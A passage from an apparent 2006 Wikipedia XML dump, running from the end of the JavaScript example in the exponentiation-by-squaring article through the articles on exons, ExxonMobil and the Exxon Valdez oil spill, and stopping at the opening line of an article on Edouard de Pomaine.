     str = Exp [i] . toString ( 2 )
     bin [i] = str
     if ( maxLen &lt; str.length ) maxLen = str.length
   }
 // make all binaries the same length:
   for ( var i = 0 ; i &lt; bin.length ; i++ ) {
     while ( bin [i] . length &lt; maxLen ) bin [i] = '0' + bin [i]
   }
 // calculate:
   var result = 1
 // . use first binary digits:
   for ( var y = 0 ; y &lt; bin.length ; y++ ) {
     str = bin [y]
     if ( str.charAt ( 0 ) == '1' ) {
       if ( result == 1 ) result = Bas [y] ; else result = result * Bas [y]
     }
   }
 // . use remaining digits:
   for ( var x = 1 ; x &lt; maxLen ; x++ ) { // x : all digits except first one
     result = result * result
     for ( var y = 0 ; y &lt; bin.length ; y++ ) { // y : all factors
       str = bin [y]
       if ( str.charAt ( x ) == '1' ) result = result * Bas [y]
     }
   }
 // ready:
   return result
 }
 //
 // for the following function input has to be sorted:
 // Exp [0] &gt;= Exp [1] &gt;= ...
 '''function productOfPowers_withTransformation ( Bas , Exp )''' {
 // new bases:
   var tempBas = new Array ()
   tempBas [0] = Bas [0]
   for ( var i = 1 ; i &lt; Bas.length ; i++ ) tempBas [i] = Bas [i] * tempBas [i-1]
 // new exponents:
   var tempExp = new Array ()
   for ( var i = 0 ; i &lt; Exp.length - 1 ; i++ ) tempExp [i] = Exp [i] - Exp [i+1]
   tempExp [Exp.length-1] = Exp [Exp.length-1]
 // now compress:
   var basTrans = new Array ()
   var expTrans = new Array ()
   for ( var i = 0 ; i &lt; tempExp.length ; i++ ) if ( tempExp [i] &gt; 0 ) {
     basTrans.push ( tempBas [i] )
     expTrans.push ( tempExp [i] )
   }
 // ready:
   return productOfPowers_simpleVersion ( basTrans , expTrans )
 }
 // '''now let's test it:'''
 alert ( 'S1: ' + productOfPowers_simpleVersion      ( [ 2 , 3 ] , [ 7 , 5 ] ) ) // should be 31,104
 alert ( 'T1: ' + productOfPowers_withTransformation ( [ 2 , 3 ] , [ 7 , 5 ] ) ) // once again: 31,104
 alert ( 'T2: ' + productOfPowers_withTransformation ( [ 2 , 5 , 3 ] , [ 4 , 3 , 2 ] ) ) // 18,000
 alert ( 'T3: ' + productOfPowers_withTransformation ( [ 2 , 5 , 3 ] , [ 3 , 3 , 2 ] ) ) //  9,000
 alert ( 'T4: ' + productOfPowers_withTransformation ( [ 2 , 5 , 3 ] , [ 4 , 3 , 3 ] ) ) // 54,000
 alert ( 'T5: ' + productOfPowers_withTransformation ( [ 2 , 5 , 3 ] , [ 3 , 3 , 3 ] ) ) // 27,000

==Alternatives==
[[Addition chain exponentiation]] can in some cases require fewer multiplications by using an efficient [[addition chain]] to provide the multiplication order. However, exponentiating by squaring is simpler to set up and typically requires less memory.

[[Category:Exponentials]] [[Category:Algorithms]]

[[de:Binäre Exponentiation]]
[[es:Exponenciación binaria]]
[[fr:Exponentiation rapide]]
[[pl:Algorytm szybkiego potęgowania]]
[[sv:Binär exponentiering]]</text>
    </revision>
  </page>
  <page>
    <title>Exon</title>
    <id>10238</id>
    <revision>
      <id>39544177</id>
      <timestamp>2006-02-14T04:53:46Z</timestamp>
      <contributor>
        <ip>24.196.91.164</ip>
      </contributor>
      <text xml:space="preserve">'''Exons''' are the regions of [[DNA]] within a gene that are not spliced out from the transcribed RNA and are retained in the final [[messenger RNA]] (mRNA) molecule. The term &quot;exon&quot; was coined by [[Walter Gilbert]] in 1978. 
== Function ==
In many [[genes]], each exon contains part of the [[open reading frame]] (ORF) that codes for a specific portion of the complete [[protein]], however, the term exon is often misused to refer only to coding sequences for the final protein. This is not true since many noncoding exons are known in human genes ([[Exon#References|Zhang 1998]]). 

Below is a diagram of an heterogeneous nuclear RNA (hnRNA), which is an unedited mRNA transcript, or [[pre-mRNA]]s. Exons can include both sequence that code for [[amino acids]] (red) and untranslated sequences (grey). Stretches of unused sequence called introns (blue) are removed, and the exons are joined to together to form the final functional [[messenger RNA|mRNA]]. The notation 5' and 3' refer to the direction of the DNA template in the chromosome and is used to distinguish between the two untranslated regions (grey). 

[[Image:Gene structure.gif]]&lt;br&gt;

Some of exons will be wholly or part of the 5' untranslated region ([[5' UTR]]) or the 3' untranslated region ([[3' UTR]]) of each transcript. The untranslated regions are important for efficient translation of the [[transcript]] as well as being important for controlling the rate of translation and half life of the transcript. Furthermore, transcripts made from the same gene may not have the same exon structure since parts of the mRNA could be removed by the process of [[alternative splicing]]. Some mRNA transcripts have exons with no ORF's and thus are sometimes referred to as [[non-coding RNA]].

Exonization is the creation of a new exon, as result of mutations in [[intron]]ic sequences.

[[Polycistronic]] messages have multiple ORF's in one transcript and also have small regions of untranslated sequence between each ORF.

==Experimental approaches that utilise exons==
[[Exon trapping]] or '[[gene trapping]]' is a [[molecular biology]] technique that exploits the existence of the intron-exon [[splicing]] to find new genes. The first exon of a 'trapped' gene will splice into the exon that is contained in the [[insertional DNA]]. This new exon contains the ORF for a [[reporter gene]] that can now be expressed using the [[enhancer]]s that control the target gene. A scientist knows that a new gene has been trapped when the reporter gene is expressed.

Splicing can be experimentally modified so that targeted exons are excluded from mature mRNA transcripts by blocking the access of splice-directing proteins to pre-mRNA using [[Morpholino|Morpholino antisense oligos]]. This has become a standard technique in [[developmental biology]].
==References==
*[http://www.biology-online.org/dictionary/exon Definiton of exon]
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=622185&amp;dopt=Abstract Gilbert W (1978) Why genes in pieces? Nature 271:501]
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=9536098&amp;dopt=Abstract Zhang MQ (1998) Statistical features of human exons and their flanking regions. Hum Mol Genet 7:919932]

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[[Category:DNA]]</text>
    </revision>
  </page>
  <page>
    <title>Exxon</title>
    <id>10239</id>
    <revision>
      <id>15908063</id>
      <timestamp>2005-06-26T19:44:32Z</timestamp>
      <contributor>
        <username>Mulad</username>
        <id>12070</id>
      </contributor>
      <minor />
      <comment>bypass redirect</comment>
      <text xml:space="preserve">#REDIRECT [[ExxonMobil]]</text>
    </revision>
  </page>
  <page>
    <title>ExxonMobil</title>
    <id>10240</id>
    <revision>
      <id>41166810</id>
      <timestamp>2006-02-25T13:52:46Z</timestamp>
      <contributor>
        <username>Wbkelley</username>
        <id>190224</id>
      </contributor>
      <comment>/* Diversity */ rephrase &amp; point of view, see Talk</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Exxon Mobil Corporation |
  company_logo   = [[Image:ExxonMobil logo.png|222px|center|]] |
  company_type   = [[Public company|Public]] ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=XOM XOM])|
  company_slogan = &quot;Taking on the world's toughest energy challenges&quot; |
  foundation     = 1882 (in 1999, company took on current name) |
  location       = HQ in [[Irving, Texas]] |
  key_people     = Chairman and CEO, [[Rex W. Tillerson]] |
  num_employees  = 88,300 |
  industry       = [[List of petroleum companies|Oil and Gasoline]] |
  products       = [[Petrochemical]] products  |
  revenue        = [[Image:green up.png]]$371 billion [[U.S. dollar|USD]] (2005)  |
  homepage       = [http://www.exxonmobil.com/ www.exxonmobil.com]
}}
'''Exxon Mobil Corporation''' or '''ExxonMobil''' ({{nyse|XOM}}) is the largest publicly-traded [[Petroleum|oil]] producer and distributor in the world, formed on [[November 30]], [[1999]], by the merger of Exxon and [[Mobil]]. It is the largest publicly traded company in the world. Its operating profit in 2005 was $36.13 billion (an all-time record for any publicly-traded company), slightly less than the gross domestic product of [[Azerbaijan]], while its revenues were $30.5 billion dollars larger than the GDP of Saudi Arabia. Its headquarters are in [[Irving, Texas|Irving]], a suburb of [[Dallas, Texas]]. The merger of Exxon and Mobil is symbolic in American history because it once again consolidated the two largest companies (Standard Oil Company of New Jersey/Exxon and Standard Oil Company of New York/Mobil) of [[John D. Rockefeller]]'s [[Standard Oil]] trust. Exxon Mobil is a component of the {{DJIA}}.

The current ExxonMobil is the parent of Exxon, Mobil, and [[Esso]] companies around the world. Of the four largest oil companies in the world (ExxonMobil, [[Royal Dutch Shell]], [[BP]], and [[Total S.A.|Total]]), ExxonMobil is the largest by profit and market value. 

==Name==
[[Image:Exxon logo.jpg|thunmb|240px|right|Exxon logo]]
[[Image:Exxongasstation.jpg|240px|thumb|Exxon-branded gas station in California (actually operated by Valero)]]
''Exxon'' formally replaced the ''Esso'', ''Enco'', and ''Humble'' brands on [[January 1]], [[1973]] in the [[United States|USA]]. The name ''Esso'', which sounds like ''S''-''O'', attracted protests from other [[Standard Oil]] spinoffs because of its similarity to the name of the parent company, ''Standard Oil''. Hence, the company was restricted from using ''Esso'' in the USA except in those states awarded to it in the 1911 Standard Oil antitrust settlement. In states where the Esso brand was blackballed, the company marketed its gasoline under the Humble or Enco brands. The Humble brand was used at Texas stations for decades as those operations were under the direction of Jersey Standard affiliate, [[Humble Oil]], and in the mid-to-late 1950s expanded to other Southwestern states including New Mexico, Arizona and Oklahoma. 

In 1960, Jersey Standard gained full control of Humble Oil and Refining Co., and through a reorganization of the company, restructured Humble into Jersey's domestic marketing and refining division to sell and market gasoline nationwide under the Esso, Enco and Humble brands. The Enco brand was introduced by Humble in 1960 at stations in Ohio but was soon blackballed after Standard Oil of Ohio (Sohio) protested that Enco (Humble's acronym for &quot;ENergy COmpany) sounded and looked too much like Esso as it shared the same oval logo with blue border and red letters with the two middle letters the only difference. At that point, the stations in Ohio would be rebranded Humble until the name change to Exxon in 1972.

After the Enco brand was discontinued in Ohio, it was moved to other non-Esso states. In 1961, Humble stations in Oklahoma, New Mexico and Arizona were rebranded as Enco and the Enco brand appeared on gasoline and lubricant products at Humble stations in Texas that same year with service stations there changed to Enco in 1962. By that time, Jersey had expanded the Enco brand to stations in the Midwest and Northwest that had been operated by various subsidaries such as Carter, Pate and Oklahoma among others.

In 1963, Humble was approached by Tidewater Oil Company - a major gasoline marketer along the eastern and western seaboards - to purchase the firm's refining and marketing operations on the west coast, a move that would have given Humble a large number of existing stations and a refinery in California - which was then the fastest growing gasoline market. However, the Justice Department objected to Humble's plan to purchase Tidewater's west coast operations, which were later sold to Phillips Petroleum in 1966. Meanwhile, Humble gradually built up new and rebranded service stations in California and other western states under the Enco brand and purchased a large number of stations from Signal Oil Company in 1967, followed by the opening of a new refinery Benicia, Calif. in 1969.

In 1966, the Justice Department ordered Humble to &quot;cease and desist&quot; from using the Esso brand at stations in several Southeastern states following protests from Standard Oil of Kentucky (a [[Standard Oil of California]] subsidiary by that time and in the process of rebranding the Kyso stations as [[Chevron]]). By 1967, stations in each of those states were rebranded as [[Enco]].

Despite the success of the &quot;Put A Tiger In Your Tank&quot; advertising campaign introduced by Humble in 1964 to promote its Enco/Esso Extra gasolines, the similar logotypes, use of the Humble name in all Esso/Enco ads and the uniformity in design and products of Humble stations nationwide, the company still had difficulties promoting itself as a nationwide gasoline marketer competing against truly national brands such as [[Texaco]] - then a 50-state marketer and the only company selling products under one brand name in each state. Humble officials realized by the late 1960s that the time had come to swallow its pride by developing a new brand name that could be used nationwide throughout the U.S. At first, consideration was given to simply rebranding all stations as &quot;Enco&quot; but that was shelved when it was learned that &quot;Enco&quot; is a Japanese abbreviation of &quot;engine failure.&quot; (エンジン故障, ''enjinkoshou'')

In order to create a unified brand, the company changed its corporate name from ''Jersey Standard'' to ''Exxon'', rebranding all its U.S. stations under the latter title in the summer and fall of 1972 following the successful test marketing of the Exxon brand and logo in late 1971 and early 1972 at rebranded Enco/Esso stations in certain U.S. cities. However, the unrestricted international use of the popular brand ''Esso'' prompted the company to continue using ''Esso'' outside of the USA. ''Esso'' is the only widely used Standard Oil brand left in existence. Other Standard Oil descendants,  such as [[BP]] and [[Chevron Corporation|Chevron]], do however maintain a few stations with the ''Standard Oil'' brand in specific states in order to retain their trademarks and prevent others from using them.

The rectangular ''Exxon'' logo with the blue strip at the bottom and red lettering with the two &quot;X's&quot; interlinked together was designed by noted industrial stylist [[Raymond Loewy]].  The interlinked &quot;X's&quot; are incorporated in the modern-day ExxonMobil corporate logo, but the original Exxon sign continues for marketing efforts and station signage.

==History==
Both Exxon and Mobil were descendants of the old [[John D. Rockefeller]] monopoly, Standard Oil.  In 1911, after a [[United States Supreme Court]] ruling which upheld a federal court order to dissolve it, the [[Standard Oil Trust]] was split into 34 companies.  Two of these companies were [[Standard Oil of New Jersey|Jersey Standard]], which eventually became Exxon, and [[Socony]] (&quot;Standard Oil Company of New York&quot;), which eventually became Mobil.

In the same year, the nation's [[kerosene]] output was eclipsed for the first time by [[gasoline]]. The growing [[automobile|automotive]] market inspired the product [[trademark]] Mobiloil, registered by Socony in 1920.

Over the next decade, both companies grew significantly. Jersey Standard acquired a 50 percent interest in [http://www.humble-inc.com/humblehistory.htm Humble Oil &amp; Refining Co.], a [[Texas]] oil producer. Socony purchased a 45 percent interest in [[Magnolia Petroleum Co.]], a major refiner, marketer and pipeline transporter. In 1931, Socony merged with Vacuum Oil Co., an industry pioneer dating back to 1866 and a growing Standard Oil spin-off in its own right.

In the [[Asia]]-[[Pacific]] region, Jersey Standard had oil production and refineries in [[Indonesia]] but no marketing network. Socony-Vacuum had Asian marketing outlets supplied remotely from California. In 1933, Jersey Standard and Socony-Vacuum merged their interests in the region into a 50-50 joint venture. Standard-Vacuum Oil Co., or &quot;Stanvac,&quot; operated in 50 countries, from [[East Africa]] to [[New Zealand]], before it was dissolved in 1962.

Mobil Chemical Company was established in 1960. As of 1999 its principal products included basic [[olefin]]s and [[aromatic]]s, [[ethylene glycol]] and [[polyethylene]]. The company produced synthetic lubricant base stocks as well as lubricant additives, [[propylene]] packaging films and [[catalysis|catalysts]]. Exxon Chemical Company became a worldwide organization in 1965 and in 1999 was a major producer and marketer of olefins, aromatics, polyethylene and [[polypropylene]] along with specialty lines such as [[elastomer]]s, [[plasticizer]]s, [[solvent]]s, process fluids, [[oxo alcohol]]s and [[adhesive]] [[resin]]s. The company was an industry leader in [[metallocene catalyst]] technology to make unique polymers with improved performance.

In 1955 Socony-Vacuum became Socony Mobil Oil Co. and in 1966 simply Mobil Oil Corp. A decade later, the newly incorporated Mobil Corporation absorbed Mobil Oil as a wholly owned subsidiary. Jersey Standard changed its name to Exxon Corporation in 1972 and established Exxon as a trademark throughout the [[United States]]. In other parts of the world, Exxon and its affiliated companies continued to use its Esso trademark.

On [[March 24]] [[1989]], shortly after midnight, the oil tanker [[Exxon Valdez]] struck [[Bligh Reef]] in [[Prince William Sound]], [[Alaska]], [[Exxon Valdez oil spill|spilling more than 11 million gallons (42,000 m&amp;sup3;) of crude oil]]. The spill was the largest in U.S. history, and in the aftermath of the Exxon Valdez incident [[Congress of the United States|U.S. Congress]] passed the [[Oil Pollution Act of 1990]]. At the time of the spill, Exxon paid $300 million immediately and voluntarily to more than 11,000 Alaskans and businesses affected by the Valdez spill. In addition, the company paid $2.2 billion on the cleanup of Prince William Sound, staying with the cleanup from 1989 to 1992, when the State of Alaska and the U.S. Coast Guard declared the cleanup complete. Exxon also has paid $1 billion in settlements with the state and federal governments. Virtually all Valdez compensatory damages were paid in full within one year of the accident, and the trial court commended Exxon for coming forward &quot;with its people and its pocketbook and doing what had to be done under difficult circumstances.&quot; However, Exxon has yet to pay up for the largest punitive ruling against it, which is currently set at $4.5 billion, as the assessment is under appeal.  The punitive damages were set by a Federal court judge in Anchorage,and have twice been vacated by the Ninth Circuit Court of Appeals as excessive. 

In 1998, Exxon and Mobil signed a US$73.7 billion definitive agreement to merge and form a new company called Exxon Mobil Corporation, the largest company on the planet. After [[shareholder]] and regulatory approvals, the merger was completed [[November 30]], [[1999]] (the deal was announced the next day).

In 2000, ExxonMobil sold the Benicia, California refinery and 340 Exxon-branded stations to [[Valero Energy Corporation]], as part of an FTC-mandated divestiture of California assets.  ExxonMobil continues to supply petroleum product to over 700 Mobil-branded retail outlets in the state.

In 2005, its stock price surged in parallel with rising oil prices, surpassing [[General Electric]] as the largest corporation in the world in terms of market capitalization. At the end of 2005 ExxonMobil reported record profits, reporting U.S$36 billion in annual income, up 42% from last year. The company and the [[American Petroleum Institute]], the Oil and Chemical industry's lobbying apparatus, however tried to downplay its success in order to avoid criticism from consumers by putting up page long ads in major newspapers across the U.S such as [[The New York Times]], [[The Washington Post]], etc... comparing Oil Industry profits to that of other large industries such as Pharmaceuticals and Banks. [http://www.nytimes.com/2006/01/31/business/31exxon.html?_r=2&amp;oref=slogin&amp;oref=slogin] [http://news.bbc.co.uk/2/hi/business/4662474.stm]

Exxon's long-time mascot is a [[Tiger]]; Mobil's mascot is a [[Pegasus]] which dates back to the late 19th century and is one of the oldest marketing symbols still in use.

ExxonMobil now has the most assets in the world, and generated 246.7 billion dollars in total revenue for 2003.

==Allegations against ExxonMobil==
ExxonMobil's activities in the [[Indonesia]]n territory of [[Aceh]], where the company extracts and exports [[natural gas]], have attracted scrutiny. In June 2001, ExxonMobil became the target of a lawsuit in the Federal District Court of the [[Washington, D.C.|District of Columbia]], under the [[Alien Tort Claims Act]]. The suit alleged that the company knowingly assisted human rights violations, including [[torture]], [[murder]] and [[rape]], by employing and providing material support to Indonesian military forces, who committed the alleged offenses in [[Aceh]]. Human rights complaints involving ExxonMobil's relationship with the Indonesian military first arose in 1992; numerous inquiries have found evidence of human rights violations on ExxonMobil property and/or committed by Indonesian troops guarding ExxonMobil facilities. The company denies these accusations and filed a motion to dismiss the suit, which is still pending [[as of 2005]]. The [[U.S. State Department]] filed an opinion in the case in July 2002, requesting that the suit, brought by the [[International Labor Rights Fund]], be dismissed on national security grounds. [http://www.amnestyusa.org/justearth/indonesia.html]

ExxonMobil controls concessions covering 11 million acres (44,500 km&amp;sup2;) off the coast of [[Angola]] that hold an estimated 7.5 billion barrels (1.2 km&amp;sup3;) of crude. [http://www2.exxonmobil.com/Corporate/Newsroom/Newsreleases/Corp_xom_nr_071201.asp] Questions have been raised about ExxonMobil's actions in securing these concessions&amp;mdash;[[Forbes Magazine]] alleging that &quot;ExxonMobil handed hundreds of millions of dollars to the corrupt regime of President [[José Eduardo dos Santos]] in the late 1990s&quot;. [http://www.forbes.com/forbes/free_forbes/2003/0428/084.html]

In 2003, the [[Office of Foreign Assets Control]] reported that ExxonMobil engaged in illegal trade with [[Sudan]] and along with dozens of other companies had to settle with the United States government for US$50,000 [http://www.cnn.com/2003/LAW/04/14/enemy.trading/index.html].
[[Image:Parody-of-esso-logo.jpg|thumb|200px|right|Parody of Esso logo produced for the Stop E$$O campaign]]
ExxonMobil is regarded by many [[environmentalism|environmental activists]] as an example of utter corporate irresponsibility and disregard for environmental concerns by US-based corporations. The company has been a target for a number of political campaigns, including the [[Stop Esso campaign]], held by [[Greenpeace]], [[Friends of the Earth]] and [[People and Planet]], and aimed at [[boycott]]ing Esso. These organisations commonly parody the company's brandname as &quot;E$$O&quot;, an example of [[alternative political spellings|alternative political spelling]], to indicate their belief that the company is only interested in short-term profit, and is willing to use its financial power to buy influence. A new environmental movement in the form of [[Exxpose Exxon]] has emerged to highlight ExxonMobil's stances on global warming, alternative energies, as well as lack of reparations yet awarded to the native americans affected by the [[Exxon Valdez]] oil spill in Alaska. Unlike other major oil companies such as Royal Dutch Shell and BP, Exxon is one of the few that has actively fought the [[Kyoto Protocol]] and disputed scientific opinion on global [[climate change]]. [[Exxon-Mobil]] is highly criticized for funding climate change research, decried by environmentalists as &quot;junk science,&quot; such as the work of the Oregon Institute for Science and Medicine, a grand sounding institution having only a handful of employees and volunteers [http://www.oism.org/]. ExxonMobil has also been a leading campaigner in the yet-unsuccessful bid to open the [[Arctic National Wildlife Refuge]] to oil drilling, a move that environmentalists say will destroy the region's fragile ecology.

Greenpeace has been campaigning against Esso for many years and its main reasons for doing so include ExxonMobil's position on the issue of climate change. Greenpeace claims that ExxonMobil has flatly refused to believe that the burning of fossil fuels has any negative effect on the environment or climate change as a whole, despite these theories being accepted by most of the scientific community. 

[[Kellogg Company|Kelloggs]] sued Exxon based on a claim that the Tiger mascot looked like [[Tony the Tiger]].

==Diversity==
ExxonMobil received a 14% rating from the [[Human Rights Campaign]]'s Corporate Equality Index in 2004. The company had previously lost points because after the merger it failed to adopt some of the [[LGBT]]-friendly policies previously put into place at Mobil.  Moreover, sexual orientation was taken off the list of protected classes in the ExxonMobil non-discrimination policy following Mobil's merger with Exxon, and when the issue was put to a vote of shareholders, a supermajority of shareholders (more than 70%) rejected proposals to reinstate sexual orientation as a specific type of prohibited discrimination.

Domestic partner benefits were ended following Mobil's merger with Exxon. Mobil employees who already had DP benefits were allowed to keep them, but other employees could not add their DPs to the benefit plans after the merger.  ExxonMobil does offer DP benefits in countries where [[same-sex marriage]] is legal.

==Corporate governance==
The current Chairman of the Board and CEO of Exxon Mobil Corporation is [[Rex Tillerson]].  Tillerson assumed the top position on [[January 1]], [[2006]] on the retirement of long-time chairman and CEO, [[Lee Raymond]].  

===[[Board of directors]]=== 

Current Exxon Mobil board members are:
*[[Michael Boskin]]
*[[William W. George]]
*[[James R. Houghton]]
*[[William R. Howell]]
*[[Reatha King]]
*[[Philip Lippincott]]
*[[Henry McKinnell, Jr.]]
*[[Marilyn Nelson]]
*[[Walter Shipley]]

==External links==
===General information===
*[http://www.exxonmobil.com/ ExxonMobil corporate website]
**[http://www.exxon.com Exxon USA website]
**[http://www.mobil.com Mobil global website]
**[http://www.esso.com Esso global website]
*[http://www.us-highways.com/sohist.htm History of Standard Oil spinoffs and their brands]
* [http://www.knowmore.org/index.php/Exxonmobil Exxonmobil] entry at [http://www.knowmore.org Knowmore.org]

===ExxonMobil responses to issues===
*[http://www.exxonmobil.com/Global-English/HR/Operations/HR_GL_Proud_ethics.asp ExxonMobil Web Page on Business Ethics &amp; Standards]
*[http://www.exxonmobil.com/Europe-English/Citizen/Eu_VP_climate.asp ExxonMobil Web Page on Climate Change]
*[http://www.exxonmobileurope.com/Corporate/Newsroom/Newsreleases/xom_nr_071003.asp  ExxonMobil Web Page on Domestic Partner Policies]
*[http://www.exxonmobil.com/Corporate/Newsroom/NewsReleases/Corp_NR_Valdez.asp ExxonMobil Web Page on Valdez Oil Spill]

===Funding given by ExxonMobil===
*[http://www.exxonmobil.com/Corporate/files/corporate/giving_report.pdf Exxon's list of funded organizations].
*[http://www.buyblue.org/node/869/view/summary ExxonMobil's Corporate political contributions]
*[[Greenpeace]]'s [http://www.exxonsecrets.org/html/listorganizations.php list of organizations] that have received funds from Exxon, with evidence of that funding.
*''[[Mother Jones]]''' overview, May 2005, [http://www.motherjones.com/news/featurex/2005/05/exxon_chart.html &quot;Put a Tiger In Your Think Tank&quot;]

===Anti ExxonMobil Websites===

*[http://www.stopesso.org Stop Esso]
*[http://www.exxposeexxon.com ExxposeExxon]
*[http://www.greenpeace.org.uk/climate/climatecriminals/esso/index.cfm Greenpeace UK's page on Esso]



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  <page>
    <title>Exxon Valdez oil spill</title>
    <id>10243</id>
    <revision>
      <id>41915050</id>
      <timestamp>2006-03-02T16:15:46Z</timestamp>
      <contributor>
        <username>Wadsworth</username>
        <id>71188</id>
      </contributor>
      <comment>/* External links */  removed vandalism</comment>
      <text xml:space="preserve">The '''Exxon Valdez oil spill''' was the most devastating environmental disaster to occur at sea in history. Its remote location (accessible only by helicopter and boat) made government and industry response efforts difficult, and severely taxed existing plans for response. The region is a [[habitat (ecology)|habitat]] for [[salmon]], [[sea otter]]s, [[seal (mammal)|seal]]s, and sea [[bird]]s.

[[Image:OilSheenFromValdezSpill.jpeg|thumb|right|250px|During the first few days of the spill, heavy sheens of oil, such as the sheen visible in this photograph, covered large areas of the surface of Prince William Sound.]]

==Early stages of the spill==
On [[March 23]], [[1989]], the oil [[Tanker (ship)|tanker]] ''[[Exxon Valdez]]'' departed from the [[Valdez oil terminal]] in [[Valdez, Alaska]] (on its 28th voyage), heading south through [[Prince William Sound]], with a full load of [[petroleum|oil]]. Captain [[Joseph Hazelwood]] radioed to the [[United States Coast Guard|Coast Guard]] station that he would be changing course in order to avoid some ''growlers'', small [[iceberg]]s which had drifted into the sound from the [[Columbia Glacier]]. The captain received permission to move into '''the northbound lane'''. Before retiring to his cabin, Captain Hazelwood instructed his third mate Gregory Cousins to &quot;start coming back into the lanes&quot; once the ship was abeam [[Busby Island]]  Light (some 2 minutes ahead). 

Although Cousins did give the instructions to the [[helmsman]] to steer the vessel to the right, the vessel was not turning sharply enough and at 12:04 a.m. on [[March 24]], the vessel hit [[Bligh Reef]]. It is not known whether Cousins gave the orders too late or the helmsman did not follow instructions properly.

About 30 million US [[gallon]]s of [[crude oil]] were spilled, affecting 1,900 km of [[coast]]line. (The initial estimate of the amount of oil spilled was 10.8 million gallons. At the time this figure was calculated, it was not known that most of the fluid pumped from the ruptured tanker was seawater that had displaced the cargo of oil. Later estmates provide a conservative value of 30 million gallons. Regardless, the media has continued to report the incorrect figure.[http://www.soundtruth.info/sidebar1.htm])

==Cleanup measures==
A trial burn was conducted during the early stages of the spill, in a region of the spill isolated from the rest by a fire-resistant boom. The test was relatively successful, but because of unfavorable weather no additional burning was attempted in this cleanup effort. Mechanical cleanup was started shortly afterward using booms and skimmers, but the skimmers were not readily available during the first 24 hours following the spill and thick oil and [[kelp]] tended to clog the equipment. Transferring oil from temporary storage vessels into more permanent containers was also difficult because of the oil's weight and thickness. In addition, a trial application of dispersants was performed. The use of dispersants proved to be controversial. Less than 4,000 US gallons (15,000 L) of dispersant were available in Valdez, Alaska, and no application equipment or aircraft. A private company applied dispersants on March 24 with a helicopter and dispersant bucket. Because there was not enough wave action to mix the dispersant with the oil in the water, their use was discontinued.

==Aftermath==
[[Image:OilPoolFromValdezSpill.jpeg|thumb|250px|right|Beginning 3 days after the vessel grounded, a storm pushed large quantities of fresh oil onto the rocky shores of many of the beaches in the Knight Island chain. In this photograph, pooled oil is shown stranded in the rocks.]]

In the aftermath of the Exxon Valdez incident [[Congress of the United States|U.S. Congress]] passed the [[Oil Pollution Act of 1990]], including a clause banning the ''Exxon Valdez'' from Alaskan waters. Exxon spent some 2 billion dollars cleaning up the spill, and a further 1 billion to settle civil and criminal charges related to the case. (Exxon recovered a significant portion of these monies via insurance claims and tax writeoffs.) An award of $287 million for actual damage and $5 billion for [[punitive damage]]s was awarded by an [[Anchorage, Alaska|Anchorage]] jury in [[1994]].  Exxon appealed against the ruling and the [[United States Court of Appeals for the Ninth Circuit|9th U.S. Circuit Court of Appeals]] ordered the original judge [[Russel Holland]] to reduce the amount.  On [[December 6]], [[2002]] the judge announced that he had reduced the damages to $4 billion, which he concluded was justified by the facts of the case and not grossly excessive.  Exxon's company position is that no punitive damages are justified because the spill was an accident. However in court it was argued that allowing a &quot;known drunk&quot; to captain the ship was reprehensible.  Exxon sent it back to court, to be considered in regard to a recent supreme court ruling in a similar case, resulting in Judge Holland actually upping the punitive damages to $4.5 billion, plus interest. Exxon is again appealing, some seventeen years after the incident. The case currently sits in the [[United States Court of Appeals for the Ninth Circuit|9th Circuit appelate court]], and oral arguments have been scheduled for January 27, 2006. The Exxon Valdez damages assessment is notably important in that it was the first which assessed the [[existence value]] of the environmental resource in question, an assessment which was done through the use of [[contingent valuation]] techniques.

The tanker was towed to [[San Diego]], arriving on [[July 10]] and repairs began in [[July 30]], [[1989]]. Around 1,600 tons of steel was removed and replaced. In June [[1990]] the tanker, renamed ''SeaRiver Mediterranean'' left harbor after $30 million of repairs.  The ship was banned from Valdez by a new regulation that prohibited vessels that had caused oil spills of more than 1 million US gallons (3,800 m&amp;sup3;).  In April [[1998]] the company argued in a legal action against government that the ship should be allowed back to Valdez, since the regulation was unfairly directed at Exxon alone (no other ships meet this criterion.)

[[Image:OilCleanupAfterValdezSpill.jpeg|thumb|250px|left|Workers using high-pressure, hot-water washing to clean an oiled shoreline.]]

==Environmental impact==
Both the long and short-term effects of the oil spill have been studied comprehensively. Thousands of animals died immediately; the best estimates include 250,000 sea birds, 2,800 sea otters, 300 harbor seals, 250 bald eagles, up to 22 orcas, and billions of salmon and herring eggs. Despite a thorough cleanup, and little visual evidence apparent even only one year later, the effects of the spill continue to be felt today. In the long term, reductions in population have been seen in various ocean animals, including stunted growth in pink salmon populations. Sea otters and ducks also showed higher death rates in following years, partly because they ingested contaminated creatures. The animals also were exposed to oil when they dug up their prey in dirty soil. Researchers said some shoreline habitats, such as contaminated mussel beds, could take up to 30 years to recover. While it will take years for a solid long term study, some interim effects have already been noted;

*Rockweed - The Rockweed is once again growing on boulders where the spill occurred. 
*Salmon - Pink Salmon Harvests have varied in the years since the spill. 

==Social impact==
In additional to the environmental effects of the spill, the disruption to the lives of the people affected is noteworthy. Native American groups in the area were impacted, and the fishing industry also experienced serious changes as a result. For example, commercial fishing was closed for the remainder of 1989, so many fishermen went elsewhere to work. Unfortunately for the local industry, many seafood markets also turned elsewhere to purchase product, and some never returned. In the years following the spill, a very high percentage of the fishermen and associated companies declared bankruptcy. The promise of a punitive damages award from Exxon was not realized in the difficult years that followed the spill, and caused much frustration. For example, the mayor of [[Cordova, Alaska|Cordova]], a nearby fishing community, committed suicide, and requested that his ashes be scattered on [[Bligh Reef]], where the Exxon Valdez grounded. [http://www.fakr.noaa.gov/oil/usatoday/page2.htm]

==External links==
*[http://whyfiles.org/168oil_spill/ Oil, out of control] &amp;mdash; Reports on various oil spills worldwide, including the Exxon Valdez spill.

[[Category:Disasters in the United States]]
[[Category:Environmental disasters]]
[[Category:ExxonMobil]]
[[Category:Oil spills]]</text>
    </revision>
  </page>
  <page>
    <title>Edouard de Pomaine</title>
    <id>10244</id>
    <revision>
      <id>38807552</id>
      <timestamp>2006-02-08T20:05:19Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>+[[category:Year of death missing]]</comment>
      <text xml:space="preserve">'''Edouard de Pomaine''' was a French scientist, [[radio]] [[broadcaster]] and [[Food writing|food writer]] in the early 20th century.

